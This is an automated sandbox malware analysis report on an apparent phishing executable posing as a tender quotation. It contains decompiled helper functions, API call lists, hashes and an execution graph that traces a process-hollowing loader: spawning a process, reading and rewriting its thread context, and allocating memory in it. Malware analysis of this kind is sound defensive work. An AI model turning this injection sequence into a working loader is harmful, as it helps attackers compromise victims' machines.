          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: Window$CallMessageProcSendVisible
          • String ID:
          • API String ID: 3748168415-3916222277
          • Opcode ID: a73dc4e993bde12ea44745026bd4b5676165c6f206d332bc9731ab0fc1b08652
          • Instruction ID: 537e1cae7e4c88fb21f4f8cfd237bdd46b0b38e99f2a5e053ca6ba0093d9a5c8
          • Opcode Fuzzy Hash: a73dc4e993bde12ea44745026bd4b5676165c6f206d332bc9731ab0fc1b08652
          • Instruction Fuzzy Hash: 4401B171200608AFEF205F11DD84A6B3A35EB84361F904837FA08752E0D77F8D929E6D
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 77%
          			E00405F83(WCHAR* _a4) {
          				WCHAR* _t5;
          				WCHAR* _t7;
          
          				_t7 = _a4;
          				_t5 =  &(_t7[lstrlenW(_t7)]);
          				while( *_t5 != 0x5c) {
          					_push(_t5);
          					_push(_t7);
          					_t5 = CharPrevW();
          					if(_t5 > _t7) {
          						continue;
          					}
          					break;
          				}
          				 *_t5 =  *_t5 & 0x00000000;
          				return  &(_t5[1]);
          			}





          0x00405f84
          0x00405f8e
          0x00405f91
          0x00405f97
          0x00405f98
          0x00405f99
          0x00405fa1
          0x00000000
          0x00000000
          0x00000000
          0x00405fa1
          0x00405fa3
          0x00405fab

          APIs
          • lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,0040313C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe,C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe,80000000,00000003), ref: 00405F89
          • CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,0040313C,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe,C:\Users\user\Desktop\Tender_QUOTATION__LH22000309AA2023.exe,80000000,00000003), ref: 00405F99
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: CharPrevlstrlen
          • String ID: C:\Users\user\Desktop
          • API String ID: 2709904686-3976562730
          • Opcode ID: 176def5b2db9ef34a9f22db2929791273b03e08e07d7b66f37effa829582f156
          • Instruction ID: bd974b3f77e4b05eb9372a1ad14375fba7b947cfa10dd8d614d5bb7090e452f7
          • Opcode Fuzzy Hash: 176def5b2db9ef34a9f22db2929791273b03e08e07d7b66f37effa829582f156
          • Instruction Fuzzy Hash: 6CD05EB2401D219EC3126B04DC00D9F63ACEF51301B4A4866E441AB1A0DB7C5D9186A9
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E004060BD(void* __ecx, CHAR* _a4, CHAR* _a8) {
          				int _v8;
          				int _t12;
          				int _t14;
          				int _t15;
          				CHAR* _t17;
          				CHAR* _t27;
          
          				_t12 = lstrlenA(_a8);
          				_t27 = _a4;
          				_v8 = _t12;
          				while(lstrlenA(_t27) >= _v8) {
          					_t14 = _v8;
          					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
          					_t15 = lstrcmpiA(_t27, _a8);
          					_t27[_v8] =  *(_t14 + _t27);
          					if(_t15 == 0) {
          						_t17 = _t27;
          					} else {
          						_t27 = CharNextA(_t27);
          						continue;
          					}
          					L5:
          					return _t17;
          				}
          				_t17 = 0;
          				goto L5;
          			}









          0x004060cd
          0x004060cf
          0x004060d2
          0x004060fe
          0x004060d7
          0x004060e0
          0x004060e5
          0x004060f0
          0x004060f3
          0x0040610f
          0x004060f5
          0x004060fc
          0x00000000
          0x004060fc
          0x00406108
          0x0040610c
          0x0040610c
          0x00406106
          0x00000000

          APIs
          • lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060CD
          • lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060E5
          • CharNextA.USER32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060F6
          • lstrlenA.KERNEL32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060FF
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: lstrlen$CharNextlstrcmpi
          • String ID:
          • API String ID: 190613189-0
          • Opcode ID: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
          • Instruction ID: 2f06b96f93541eceebcae48a9adfe7aedd37cb678349478f8cad11de2473fd3e
          • Opcode Fuzzy Hash: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
          • Instruction Fuzzy Hash: 0BF0F631104054FFDB12DFA4CD00D9EBBA8EF06350B2640BAE841FB321D674DE11A798
          Uniqueness

          Uniqueness Score: -1.00%

          Execution Graph

          Execution Coverage:11.5%
          Dynamic/Decrypted Code Coverage:5.7%
          Signature Coverage:1.8%
          Total number of Nodes:1800
          Total number of Limit Nodes:52
          execution_graph 11612 40b0c1 11613 40b0da 11612->11613 11614 40b0f8 11612->11614 11613->11614 11615 407a41 44 API calls 11613->11615 11616 407991 2 API calls 11613->11616 11615->11613 11616->11613 10698 403d54 10701 402081 10698->10701 10702 402093 10701->10702 10703 4020a5 10701->10703 10702->10703 10704 40209b 10702->10704 10715 402403 10703->10715 10707 4020a3 10704->10707 10708 402403 _unexpected 49 API calls 10704->10708 10710 4020c3 10708->10710 10709 402403 _unexpected 49 API calls 10709->10707 10711 402403 _unexpected 49 API calls 10710->10711 10712 4020ce 10711->10712 10729 406182 10712->10729 10735 402411 10715->10735 10717 4020aa 10717->10707 10717->10709 10718 402408 10718->10717 10749 40b2c7 10718->10749 10721 40624e 10723 406258 IsProcessorFeaturePresent 10721->10723 10724 406277 10721->10724 10726 406264 10723->10726 10725 4059b6 _unexpected 21 API calls 10724->10725 10727 406281 10725->10727 10728 40636b _unexpected 8 API calls 10726->10728 10728->10724 10730 40618e __FrameHandler3::FrameUnwindToState 10729->10730 10731 406c70 _unexpected 39 API calls 10730->10731 10732 406193 10731->10732 10733 40623e __FrameHandler3::FrameUnwindToState 39 API calls 10732->10733 10734 4061bd 10733->10734 10736 40241a 10735->10736 10737 40241d GetLastError 10735->10737 10736->10718 10779 4026f4 10737->10779 10740 402497 SetLastError 10740->10718 10741 40272f ___vcrt_FlsSetValue 6 API calls 10742 40244b _unexpected 10741->10742 10743 402473 10742->10743 10744 40272f ___vcrt_FlsSetValue 6 API calls 10742->10744 10748 402451 10742->10748 10745 40272f ___vcrt_FlsSetValue 6 API calls 10743->10745 10746 402487 10743->10746 10744->10743 10745->10746 10784 4061be 10746->10784 10748->10740 10787 40b1f5 10749->10787 10752 40b30c 10753 40b318 __FrameHandler3::FrameUnwindToState 10752->10753 10754 406dc1 __dosmaperr 14 API calls 10753->10754 10755 40b368 10753->10755 10758 40b37a _unexpected 10753->10758 10762 40b349 _unexpected 10753->10762 10754->10762 10756 407b6a __dosmaperr 14 API calls 10755->10756 10759 40b36d 10756->10759 10757 40b352 10757->10721 10760 40b3b0 _unexpected 10758->10760 10798 409f3e EnterCriticalSection 10758->10798 10763 406567 ___std_exception_copy 39 API calls 10759->10763 10765 40b4ea 10760->10765 10766 40b3ed 10760->10766 10776 40b41b 10760->10776 10762->10755 10762->10757 10762->10758 10763->10757 10768 40b4f5 10765->10768 10803 409f86 LeaveCriticalSection 10765->10803 10772 406c70 _unexpected 39 API calls 10766->10772 10766->10776 10770 4059b6 _unexpected 21 API calls 10768->10770 10771 40b4fd 10770->10771 10774 40b410 10772->10774 10773 406c70 _unexpected 39 API calls 10777 40b470 10773->10777 10775 406c70 _unexpected 39 API calls 10774->10775 10775->10776 10799 40b496 10776->10799 10777->10757 10778 406c70 _unexpected 39 API calls 10777->10778 10778->10757 10780 402593 ___vcrt_FlsSetValue 5 API calls 10779->10780 10781 40270e 10780->10781 10782 402726 TlsGetValue 10781->10782 10783 402432 10781->10783 10782->10783 10783->10740 10783->10741 10783->10748 10785 408694 __freea 14 API calls 10784->10785 10786 4061d6 10785->10786 10786->10748 10788 40b201 __FrameHandler3::FrameUnwindToState 10787->10788 10793 409f3e EnterCriticalSection 10788->10793 10790 40b20f 10794 40b251 10790->10794 10793->10790 10797 409f86 LeaveCriticalSection 10794->10797 10796 406243 10796->10721 10796->10752 10797->10796 10798->10760 10800 40b462 10799->10800 10801 40b49a 10799->10801 10800->10757 10800->10773 10800->10777 10804 409f86 LeaveCriticalSection 10801->10804 10803->10768 10804->10800 11651 4011db 11652 4011e3 11651->11652 11668 405a35 11652->11668 11654 4011ee 11675 4014db 11654->11675 11656 401796 4 API calls 11658 401285 11656->11658 11657 401203 __RTC_Initialize 11666 401260 11657->11666 11681 401668 11657->11681 11660 40121c 11660->11666 11684 401722 InitializeSListHead 11660->11684 11662 401232 11685 401731 11662->11685 11664 401255 11691 405c06 11664->11691 11666->11656 11667 40127d 11666->11667 11669 405a44 11668->11669 11670 405a67 11668->11670 11669->11670 11671 407b6a __dosmaperr 14 API calls 11669->11671 11670->11654 11672 405a57 11671->11672 11673 406567 ___std_exception_copy 39 API calls 11672->11673 11674 405a62 11673->11674 11674->11654 11676 4014e7 11675->11676 11677 4014eb 11675->11677 11676->11657 11678 401796 4 API calls 11677->11678 11680 4014f8 ___scrt_release_startup_lock 11677->11680 11679 401561 11678->11679 11680->11657 11698 40163b 11681->11698 11684->11662 11733 406123 11685->11733 11687 401742 11688 401749 11687->11688 11689 401796 4 API calls 11687->11689 11688->11664 11690 401751 11689->11690 11692 406c70 _unexpected 39 API calls 11691->11692 11694 405c11 11692->11694 11693 405c49 11693->11666 11694->11693 11695 407b6a __dosmaperr 14 API calls 11694->11695 11696 405c3e 11695->11696 11697 406567 ___std_exception_copy 39 API calls 11696->11697 11697->11693 11699 401651 11698->11699 11700 40164a 11698->11700 11707 405fb3 11699->11707 11704 405f36 11700->11704 11703 40164f 11703->11660 11705 405fb3 42 API calls 11704->11705 11706 405f48 11705->11706 11706->11703 11710 405cff 11707->11710 11711 405d0b __FrameHandler3::FrameUnwindToState 11710->11711 11718 409f3e EnterCriticalSection 11711->11718 11713 405d19 11719 405d5a 11713->11719 11715 405d26 11729 405d4e 11715->11729 11718->11713 11720 405d75 11719->11720 11724 405de8 __dosmaperr 11719->11724 11721 405dc8 11720->11721 11722 40b042 42 API calls 11720->11722 11720->11724 11723 40b042 42 API calls 11721->11723 11721->11724 11725 405dbe 11722->11725 11726 405dde 11723->11726 11724->11715 11727 408694 __freea 14 API calls 11725->11727 11728 408694 __freea 14 API calls 11726->11728 11727->11721 11728->11724 11732 409f86 LeaveCriticalSection 11729->11732 11731 405d37 11731->11703 11732->11731 11735 406141 11733->11735 11738 406161 11733->11738 11734 407b6a __dosmaperr 14 API calls 11736 406157 11734->11736 11735->11734 11737 406567 ___std_exception_copy 39 API calls 11736->11737 11737->11738 11738->11687 11751 405bdf 11754 405b66 11751->11754 11755 405b72 __FrameHandler3::FrameUnwindToState 11754->11755 11762 409f3e EnterCriticalSection 11755->11762 11757 405baa 11763 405bc8 11757->11763 11758 405b7c 11758->11757 11760 40ab5c __wsopen_s 14 API calls 11758->11760 11760->11758 11762->11758 11766 409f86 LeaveCriticalSection 11763->11766 11765 405bb6 11766->11765 10139 9f08b7 10151 9f005f GetPEB 10139->10151 10141 9f0920 10152 9f0838 10141->10152 10143 9f0928 10144 9f09bb 10143->10144 10145 9f09d7 CreateFileW 10143->10145 10145->10144 10146 9f0a01 VirtualAlloc ReadFile 10145->10146 10146->10144 10149 9f0a2e 10146->10149 10147 9f0a47 10149->10147 10150 9f0d64 ExitProcess 10149->10150 10165 9f020a 10149->10165 10151->10141 10180 9f005f GetPEB 10152->10180 10154 9f084c 10181 9f005f GetPEB 10154->10181 10156 9f085f 10182 9f005f GetPEB 10156->10182 10158 9f0872 10183 9f07da 10158->10183 10160 9f0880 10161 9f089c VirtualAllocExNuma 10160->10161 10162 9f08a9 10161->10162 10188 9f073a 10162->10188 10195 9f005f GetPEB 10165->10195 10167 9f03b3 10167->10149 10168 9f03c1 CreateProcessW 10169 9f03f0 GetThreadContext 10168->10169 10172 9f03eb 10168->10172 10170 9f0410 ReadProcessMemory 10169->10170 10169->10172 10170->10172 10178 9f0218 10170->10178 10172->10167 10223 9f111e 10172->10223 10173 9f12cd 11 API calls 10173->10178 10176 9f0675 SetThreadContext 10176->10172 10176->10178 10178->10167 10178->10168 10178->10172 10178->10173 10178->10176 10179 9f111e 11 API calls 10178->10179 10196 9f11b3 10178->10196 10205 9f0f6c 10178->10205 10214 9f106d 10178->10214 10179->10178 10180->10154 10181->10156 10182->10158 10193 9f005f GetPEB 10183->10193 10185 9f07ea 10186 9f07f0 GetSystemInfo 10185->10186 10187 9f081b 10186->10187 10187->10160 10194 9f005f GetPEB 10188->10194 10190 9f0746 10191 9f0766 VirtualAlloc 10190->10191 10192 9f0783 10191->10192 10192->10143 10193->10185 10194->10190 10195->10178 10197 9f11ce 10196->10197 10232 9f013e GetPEB 10197->10232 10199 9f11ef 10200 9f12a7 10199->10200 10201 9f11f7 10199->10201 10249 9f15f9 10200->10249 10234 9f0d6d 10201->10234 10204 9f128e 10204->10178 10206 9f0f87 10205->10206 10207 9f013e GetPEB 10206->10207 10208 9f0fa8 10207->10208 10209 9f103a 10208->10209 10210 9f0fb0 10208->10210 10259 9f161d 10209->10259 10212 9f0d6d 10 API calls 10210->10212 10213 9f1021 10212->10213 10213->10178 10215 9f1088 10214->10215 10216 9f013e GetPEB 10215->10216 10217 9f10a9 10216->10217 10218 9f10ad 10217->10218 10219 9f10f3 10217->10219 10220 9f0d6d 10 API calls 10218->10220 10262 9f162f 10219->10262 10222 9f10e8 10220->10222 10222->10178 10224 9f1131 10223->10224 10225 9f013e GetPEB 10224->10225 10226 9f1152 10225->10226 10227 9f119c 10226->10227 10228 9f1156 10226->10228 10265 9f15e7 10227->10265 10230 9f0d6d 10 API calls 10228->10230 10231 9f1191 10230->10231 10231->10167 10233 9f0160 10232->10233 10233->10199 10252 9f005f GetPEB 10234->10252 10236 9f0db6 10253 9f0109 GetPEB 10236->10253 10239 9f0e43 10240 9f0e54 VirtualAlloc 10239->10240 10243 9f0f18 10239->10243 10241 9f0e6a ReadFile 10240->10241 10240->10243 10242 9f0e7f VirtualAlloc 10241->10242 10241->10243 10242->10243 10246 9f0ea0 10242->10246 10244 9f0f56 VirtualFree 10243->10244 10245 9f0f61 10243->10245 10244->10245 10245->10204 10246->10243 10247 9f0f0b VirtualFree 10246->10247 10248 9f0f07 FindCloseChangeNotification 10246->10248 10247->10243 10248->10247 10250 9f0d6d 10 API calls 10249->10250 10251 9f1603 10250->10251 10251->10204 10252->10236 10254 9f011c 10253->10254 10256 9f0131 CreateFileW 10254->10256 10257 9f017b GetPEB 10254->10257 10256->10239 10256->10243 10258 9f019f 10257->10258 10258->10254 10260 9f0d6d 10 API calls 10259->10260 10261 9f1627 10260->10261 10261->10213 10263 9f0d6d 10 API calls 10262->10263 10264 9f1639 10263->10264 10264->10222 10266 9f0d6d 10 API calls 10265->10266 10267 9f15f1 10266->10267 10267->10231 10268 407f0d 10273 407ce3 10268->10273 10271 407f4c 10274 407d02 10273->10274 10275 407d15 10274->10275 10283 407d2a 10274->10283 10276 407b6a __dosmaperr 14 API calls 10275->10276 10277 407d1a 10276->10277 10278 406567 ___std_exception_copy 39 API calls 10277->10278 10279 407d25 10278->10279 10279->10271 10290 40c397 10279->10290 10280 407b6a __dosmaperr 14 API calls 10281 407efb 10280->10281 10282 406567 ___std_exception_copy 39 API calls 10281->10282 10282->10279 10288 407e4a 10283->10288 10293 40bc07 10283->10293 10285 407e9a 10286 40bc07 39 API calls 10285->10286 10285->10288 10287 407eb8 10286->10287 10287->10288 10289 40bc07 39 API calls 10287->10289 10288->10279 10288->10280 10289->10288 10325 40bd3f 10290->10325 10294 40bc16 10293->10294 10295 40bc5e 10293->10295 10297 40bc1c 10294->10297 10300 40bc39 10294->10300 10307 40bc74 10295->10307 10299 407b6a __dosmaperr 14 API calls 10297->10299 10298 40bc2c 10298->10285 10301 40bc21 10299->10301 10303 407b6a __dosmaperr 14 API calls 10300->10303 10306 40bc57 10300->10306 10302 406567 ___std_exception_copy 39 API calls 10301->10302 10302->10298 10304 40bc48 10303->10304 10305 406567 ___std_exception_copy 39 API calls 10304->10305 10305->10298 10306->10285 10308 40bc84 10307->10308 10309 40bc9e 10307->10309 10312 407b6a __dosmaperr 14 API calls 10308->10312 10310 40bca6 10309->10310 10311 40bcbd 10309->10311 10313 407b6a __dosmaperr 14 API calls 10310->10313 10314 40bcc9 10311->10314 10319 40bce0 10311->10319 10315 40bc89 10312->10315 10317 40bcab 10313->10317 10318 407b6a __dosmaperr 14 API calls 10314->10318 10316 406567 ___std_exception_copy 39 API calls 10315->10316 10323 40bc94 10316->10323 10321 406567 ___std_exception_copy 39 API calls 10317->10321 10322 40bcce 10318->10322 10320 4080af __wsopen_s 39 API calls 10319->10320 10319->10323 10320->10323 10321->10323 10324 406567 ___std_exception_copy 39 API calls 10322->10324 10323->10298 10324->10323 10328 40bd4b __FrameHandler3::FrameUnwindToState 10325->10328 10326 40bd52 10327 407b6a __dosmaperr 14 API calls 10326->10327 10329 40bd57 10327->10329 10328->10326 10330 40bd7d 10328->10330 10331 406567 ___std_exception_copy 39 API calls 10329->10331 10336 40c329 10330->10336 10333 40bd61 10331->10333 10333->10271 10349 408d77 10336->10349 10342 40c35f 10343 40bda1 10342->10343 10344 408694 __freea 14 API calls 10342->10344 10345 40bdd4 10343->10345 10344->10343 10346 40be18 10345->10346 10347 40bdda 10345->10347 10346->10333 10610 40a1ec LeaveCriticalSection 10347->10610 10350 4080af __wsopen_s 39 API calls 10349->10350 10351 408d89 10350->10351 10352 408d9b 10351->10352 10404 40ada4 10351->10404 10354 40885e 10352->10354 10410 4086e6 10354->10410 10357 40c3b7 10440 40c105 10357->10440 10360 40c402 10458 40a20f 10360->10458 10361 40c3e9 10362 407b57 __dosmaperr 14 API calls 10361->10362 10380 40c3ee 10362->10380 10365 40c410 10368 407b57 __dosmaperr 14 API calls 10365->10368 10366 40c427 10471 40c070 CreateFileW 10366->10471 10367 407b6a __dosmaperr 14 API calls 10394 40c3fb 10367->10394 10371 40c415 10368->10371 10370 40c460 10372 40c4dd GetFileType 10370->10372 10374 40c4b2 GetLastError 10370->10374 10472 40c070 CreateFileW 10370->10472 10373 407b6a __dosmaperr 14 API calls 10371->10373 10375 40c4e8 GetLastError 10372->10375 10376 40c52f 10372->10376 10373->10380 10377 407b10 __dosmaperr 14 API calls 10374->10377 10378 407b10 __dosmaperr 14 API calls 10375->10378 10473 40a15a 10376->10473 10377->10380 10381 40c4f6 CloseHandle 10378->10381 10380->10367 10381->10380 10384 40c51f 10381->10384 10383 40c4a5 10383->10372 10383->10374 10386 407b6a __dosmaperr 14 API calls 10384->10386 10388 40c524 10386->10388 10387 40c59c 10392 40c5a3 10387->10392 10503 40be1a 10387->10503 10388->10380 10497 40e6a0 10392->10497 10393 40c5df 10393->10394 10396 40c65b CloseHandle 10393->10396 10394->10342 10530 40c070 CreateFileW 10396->10530 10398 40c686 10399 40c690 GetLastError 10398->10399 10400 40c6bc 10398->10400 10401 407b10 __dosmaperr 14 API calls 10399->10401 10400->10394 10402 40c69c 10401->10402 10531 40a322 10402->10531 10407 40abac 10404->10407 10408 40acdf __dosmaperr 5 API calls 10407->10408 10409 40abc2 10408->10409 10409->10352 10411 4086f4 10410->10411 10412 40870e 10410->10412 10428 408db6 10411->10428 10414 408734 10412->10414 10415 408715 10412->10415 10416 409976 __fread_nolock MultiByteToWideChar 10414->10416 10419 4086fe 10415->10419 10432 408e0c 10415->10432 10418 408743 10416->10418 10420 40874a GetLastError 10418->10420 10422 408770 10418->10422 10425 408e0c __wsopen_s 15 API calls 10418->10425 10419->10342 10419->10357 10421 407b10 __dosmaperr 14 API calls 10420->10421 10424 408756 10421->10424 10422->10419 10423 409976 __fread_nolock MultiByteToWideChar 10422->10423 10426 408787 10423->10426 10427 407b6a __dosmaperr 14 API calls 10424->10427 10425->10422 10426->10419 10426->10420 10427->10419 10429 408dc1 10428->10429 10430 408dc9 10428->10430 10431 408694 __freea 14 API calls 10429->10431 10430->10419 10431->10430 10433 408db6 __wsopen_s 14 API calls 10432->10433 10434 408e1a 10433->10434 10437 408e4b 10434->10437 10438 40a6a3 __fread_nolock 15 API calls 10437->10438 10439 408e2b 10438->10439 10439->10419 10441 40c126 10440->10441 10442 40c140 10440->10442 10441->10442 10444 407b6a __dosmaperr 14 API calls 10441->10444 10540 40c095 10442->10540 10445 40c135 10444->10445 10446 406567 ___std_exception_copy 39 API calls 10445->10446 10446->10442 10447 40c178 10448 40c1a7 10447->10448 10450 407b6a __dosmaperr 14 API calls 10447->10450 10451 40c1fa 10448->10451 10547 405a08 10448->10547 10453 40c19c 10450->10453 10451->10360 10451->10361 10452 40c1f5 10452->10451 10454 40c272 10452->10454 10455 406567 ___std_exception_copy 39 API calls 10453->10455 10456 406577 __wsopen_s 11 API calls 10454->10456 10455->10448 10457 40c27e 10456->10457 10459 40a21b __FrameHandler3::FrameUnwindToState 10458->10459 10554 409f3e EnterCriticalSection 10459->10554 10461 40a222 10462 40a247 10461->10462 10466 40a2b6 EnterCriticalSection 10461->10466 10469 40a269 10461->10469 10464 409fe9 __wsopen_s 15 API calls 10462->10464 10467 40a24c 10464->10467 10468 40a2c3 LeaveCriticalSection 10466->10468 10466->10469 10467->10469 10558 40a137 EnterCriticalSection 10467->10558 10468->10461 10555 40a319 10469->10555 10471->10370 10472->10383 10474 40a1d2 10473->10474 10475 40a169 10473->10475 10476 407b6a __dosmaperr 14 API calls 10474->10476 10475->10474 10481 40a18f __wsopen_s 10475->10481 10477 40a1d7 10476->10477 10478 407b57 __dosmaperr 14 API calls 10477->10478 10479 40a1bf 10478->10479 10479->10387 10482 40c27f 10479->10482 10480 40a1b9 SetStdHandle 10480->10479 10481->10479 10481->10480 10483 40c2d9 10482->10483 10484 40c2a7 10482->10484 10483->10387 10484->10483 10485 4068d4 __fread_nolock 41 API calls 10484->10485 10486 40c2b7 10485->10486 10487 40c2c7 10486->10487 10488 40c2dd 10486->10488 10489 407b57 __dosmaperr 14 API calls 10487->10489 10490 407550 __fread_nolock 51 API calls 10488->10490 10491 40c2cc 10489->10491 10492 40c2ef 10490->10492 10491->10483 10494 407b6a __dosmaperr 14 API calls 10491->10494 10493 40c305 10492->10493 10560 40e39e 10492->10560 10493->10491 10495 4068d4 __fread_nolock 41 API calls 10493->10495 10494->10483 10495->10491 10498 40e6b3 ___std_exception_copy 10497->10498 10591 40e6d0 10498->10591 10500 40e6bf 10501 4042bb ___std_exception_copy 39 API calls 10500->10501 10502 40e6cb 10501->10502 10502->10394 10504 40be4b 10503->10504 10505 40bf35 10503->10505 10506 405a08 __wsopen_s 39 API calls 10504->10506 10513 40be6b 10504->10513 10505->10392 10505->10393 10507 40be62 10506->10507 10508 40c065 10507->10508 10507->10513 10509 406577 __wsopen_s 11 API calls 10508->10509 10510 40c06f 10509->10510 10511 40bf5b 10511->10505 10512 407550 __fread_nolock 51 API calls 10511->10512 10516 40bf65 10511->10516 10520 40bf8b 10512->10520 10513->10505 10513->10511 10514 4068d4 __fread_nolock 41 API calls 10513->10514 10515 40bf2c 10513->10515 10517 40bf45 10514->10517 10515->10505 10515->10516 10604 40cfa2 10515->10604 10516->10505 10524 407b6a __dosmaperr 14 API calls 10516->10524 10517->10515 10523 40bf50 10517->10523 10519 40bff6 10525 4068d4 __fread_nolock 41 API calls 10519->10525 10520->10505 10520->10516 10520->10519 10521 40bfd0 10520->10521 10522 40bfc3 10520->10522 10521->10519 10528 40bfd8 10521->10528 10526 407b6a __dosmaperr 14 API calls 10522->10526 10527 4068d4 __fread_nolock 41 API calls 10523->10527 10524->10505 10525->10516 10526->10516 10527->10511 10529 4068d4 __fread_nolock 41 API calls 10528->10529 10529->10516 10530->10398 10532 40a331 10531->10532 10533 40a398 10531->10533 10532->10533 10538 40a35b __wsopen_s 10532->10538 10534 407b6a __dosmaperr 14 API calls 10533->10534 10535 40a39d 10534->10535 10536 407b57 __dosmaperr 14 API calls 10535->10536 10537 40a388 10536->10537 10537->10400 10538->10537 10539 40a382 SetStdHandle 10538->10539 10539->10537 10542 40c0ad 10540->10542 10541 40c0c8 10541->10447 10542->10541 10543 407b6a __dosmaperr 14 API calls 10542->10543 10544 40c0ec 10543->10544 10545 406567 ___std_exception_copy 39 API calls 10544->10545 10546 40c0f7 10545->10546 10546->10447 10548 405a14 10547->10548 10549 405a29 10547->10549 10550 407b6a __dosmaperr 14 API calls 10548->10550 10549->10452 10551 405a19 10550->10551 10552 406567 ___std_exception_copy 39 API calls 10551->10552 10553 405a24 10552->10553 10553->10452 10554->10461 10559 409f86 LeaveCriticalSection 10555->10559 10557 40a289 10557->10365 10557->10366 10558->10469 10559->10557 10561 40e3b1 ___std_exception_copy 10560->10561 10566 40e3d5 10561->10566 10564 4042bb ___std_exception_copy 39 API calls 10565 40e3d0 10564->10565 10565->10493 10586 40e351 10566->10586 10569 40e4ef 10572 4068d4 __fread_nolock 41 API calls 10569->10572 10582 40e4b8 10569->10582 10570 40e431 10573 408637 __dosmaperr 14 API calls 10570->10573 10571 4068d4 __fread_nolock 41 API calls 10574 40e3c3 10571->10574 10575 40e507 10572->10575 10579 40e43d __wsopen_s 10573->10579 10574->10564 10577 40a3b3 __fread_nolock 39 API calls 10575->10577 10575->10582 10576 40e445 10581 408694 __freea 14 API calls 10576->10581 10578 40e51f SetEndOfFile 10577->10578 10580 40e52b GetLastError 10578->10580 10578->10582 10579->10576 10583 40d0ea __wsopen_s 62 API calls 10579->10583 10584 40e4a9 __wsopen_s 10579->10584 10580->10582 10581->10582 10582->10571 10583->10579 10585 408694 __freea 14 API calls 10584->10585 10585->10582 10587 4068d4 __fread_nolock 41 API calls 10586->10587 10588 40e36a 10587->10588 10589 4068d4 __fread_nolock 41 API calls 10588->10589 10590 40e379 10589->10590 10590->10569 10590->10570 10590->10582 10592 40a3b3 __fread_nolock 39 API calls 10591->10592 10594 40e6e0 10592->10594 10593 40e6e6 10595 40a322 __wsopen_s 15 API calls 10593->10595 10594->10593 10596 40a3b3 __fread_nolock 39 API calls 10594->10596 10603 40e718 10594->10603 10598 40e73e __fread_nolock 10595->10598 10599 40e70f 10596->10599 10597 40a3b3 __fread_nolock 39 API calls 10600 40e724 CloseHandle 10597->10600 10598->10500 10601 40a3b3 __fread_nolock 39 API calls 10599->10601 10600->10593 10602 40e730 GetLastError 10600->10602 10601->10603 10602->10593 10603->10593 10603->10597 10605 40cfb5 ___std_exception_copy 10604->10605 10606 40cfd9 __wsopen_s 64 API calls 10605->10606 10607 40cfc7 10606->10607 10608 4042bb ___std_exception_copy 39 API calls 10607->10608 10609 40cfd4 10608->10609 10609->10515 10610->10346 10671 40128e 10676 4018f8 SetUnhandledExceptionFilter 10671->10676 10673 401293 10677 405c6f 10673->10677 10675 40129e 10676->10673 10678 405c95 10677->10678 10679 405c7b 10677->10679 10678->10675 10679->10678 10680 407b6a __dosmaperr 14 API calls 10679->10680 10681 405c85 10680->10681 10682 406567 ___std_exception_copy 39 API calls 10681->10682 10683 405c90 10682->10683 10683->10675 11843 40669a 11853 408494 11843->11853 11847 4066a7 11866 40bb22 11847->11866 11850 4066d1 11851 408694 